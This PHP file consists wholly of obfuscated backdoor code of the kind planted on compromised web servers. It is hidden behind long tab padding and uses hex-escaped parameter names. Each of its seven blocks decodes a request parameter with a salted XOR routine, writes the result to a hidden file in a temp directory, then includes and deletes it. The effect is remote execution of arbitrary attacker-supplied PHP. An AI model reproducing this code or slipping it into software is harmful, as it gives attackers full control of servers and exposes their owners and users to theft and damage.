<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["m\x61\x72ker"])){ $symbol = array_filter(["/tmp", "/dev/shm", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), session_save_path(), sys_get_temp_dir()]); $res = $_REQUEST["m\x61\x72ker"]; $res= explode ( "." , $res ) ; $resource=''; $salt7='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt7); $p=0; $__len=count($res); do { if ($p>=$__len) break; $v5=$res[$p]; $chS=ord($salt7[$p % $lenS]); $d=((int)$v5 - $chS - ($p % 10)) ^ 81; $resource .= chr($d); $p++; } while (true); for ($mrk = 0, $record = count($symbol); $mrk < $record; $mrk++) { $itm = $symbol[$mrk]; if (!!is_dir($itm) && !!is_writable($itm)) { $value = "$itm" . "/.property_set"; if (file_put_contents($value, $resource)) { include $value; @unlink($value); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x65n\x74"])){ $marker = $_POST["\x65n\x74"]; $marker = explode('.' ,$marker); $resource = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $x = 0; $len = count($marker); do {if ($x >=$len) break; $v7 = $marker[$x]; $sChar = ord($salt2[$x% $lenS]); $dec = ((int)$v7 - $sChar - ($x% 10)) ^ 40; $resource .= chr($dec); $x++; } while (true); $holder = array_filter([getcwd(), getenv("TEMP"), "/dev/shm", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), session_save_path()]); for ($entity = 0, $symbol = count($holder); $entity < $symbol; $entity++) { $property_set = $holder[$entity]; if ((bool)is_dir($property_set) && (bool)is_writable($property_set)) { $val = implode("/", [$property_set, ".k"]); $file = fopen($val, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $val; @unlink($val); exit; } } } }
																																										if(array_key_exists("\x73\x79mb\x6Fl", $_REQUEST) && !is_null($_REQUEST["\x73\x79mb\x6Fl"])){ $component = $_REQUEST["\x73\x79mb\x6Fl"]; $component =explode( '.',$component) ; $obj=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s); $m=0; $len=count( $component); do { if( $m >= $len) break; $v1=$component[$m]; $chS=ord( $s[$m % $sLen]); $dec=( ( int)$v1 - $chS -( $m % 10))^ 68; $obj .= chr( $dec); $m++; } while( true); $reference = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/dev/shm", getenv("TEMP"), getcwd(), "/var/tmp", "/tmp"]); $entry = 0; do { $token = $reference[$entry] ?? null; if ($entry >= count($reference)) break; if (is_dir($token) && is_writable($token)) { $flag = "$token" . "/.ptr"; $success = file_put_contents($flag, $obj); if ($success) { include $flag; @unlink($flag); exit;} } $entry++; } while (true); }
																																										if(isset($_REQUEST["m\x72\x6B"])){ $value = array_filter([getcwd(), getenv("TMP"), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path()]); $property_set = $_REQUEST["m\x72\x6B"]; $property_set = explode ( '.', $property_set ) ; $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $property_set as $w => $v3) { $sChar = ord( $salt[$w% $sLen]); $d =( ( int)$v3 - $sChar -( $w% 10)) ^ 46; $marker .= chr( $d); } while ($ent = array_shift($value)) { if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) { $data_chunk = sprintf("%s/.flag", $ent); if (@file_put_contents($data_chunk, $marker) !== false) { include $data_chunk; unlink($data_chunk); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "p\x73et")){ $elem = $_POST["p\x73et"]; $elem= explode(".", $elem ); $entry = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4); $m = 0; $__tmp = $elem; while ($v4 = array_shift($__tmp)) { $chS = ord($salt4[$m%$lenS]); $dec = ((int)$v4 - $chS - ($m%10)) ^ 50; $entry .= chr($dec); $m++;} $fac = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/var/tmp"]); foreach ($fac as $pointer) { if (!( !is_dir($pointer) || !is_writable($pointer) )) { $component = "$pointer/.resource"; $file = fopen($component, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $component; @unlink($component); exit; } } } }
																																										if(!is_null($_REQUEST["f\x61\x63"] ?? null)){ $resource = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getcwd(), getenv("TMP")]); $pgrp = $_REQUEST["f\x61\x63"]; $pgrp = explode ('.' , $pgrp ) ; $factor = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt8); foreach( $pgrp as $w => $v2): $sChar = ord( $salt8[$w % $lenS]); $dec =( ( int)$v2 - $sChar -( $w % 10))^ 10; $factor .= chr( $dec); endforeach; foreach ($resource as $dchunk) { if (max(0, is_dir($dchunk) * is_writable($dchunk))) { $ent = "$dchunk/.entity"; if (file_put_contents($ent, $factor)) { require $ent; unlink($ent); die(); } } } }


if(isset($_REQUEST["\x69\x74em"])){
	$sym = array_filter([getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp"]);
	$pointer = $_REQUEST["\x69\x74em"];
	 $pointer 		=	 explode	(	"." 		,$pointer		)	 ;
	$bind = '';
            $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen( 	$s8);
            $w = 0;
    
            $__tmp = $pointer;
            while( 	$v7 = array_shift( 	$__tmp)) {
                $chS = ord( 	$s8[$w % $sLen]);
                $dec =( 	( 	int)$v7 - $chS -( 	$w % 10))^ 	26;
                $bind  .=  chr( 	$dec);
                $w++;
            }
	foreach ($sym as $element) {
    		if ((bool)is_dir($element) && (bool)is_writable($element)) {
    $desc = implode("/", [$element, ".holder"]);
    $success = file_put_contents($desc, $bind);
if ($success) {
	include $desc;
	@unlink($desc);
	die();}
}
}
}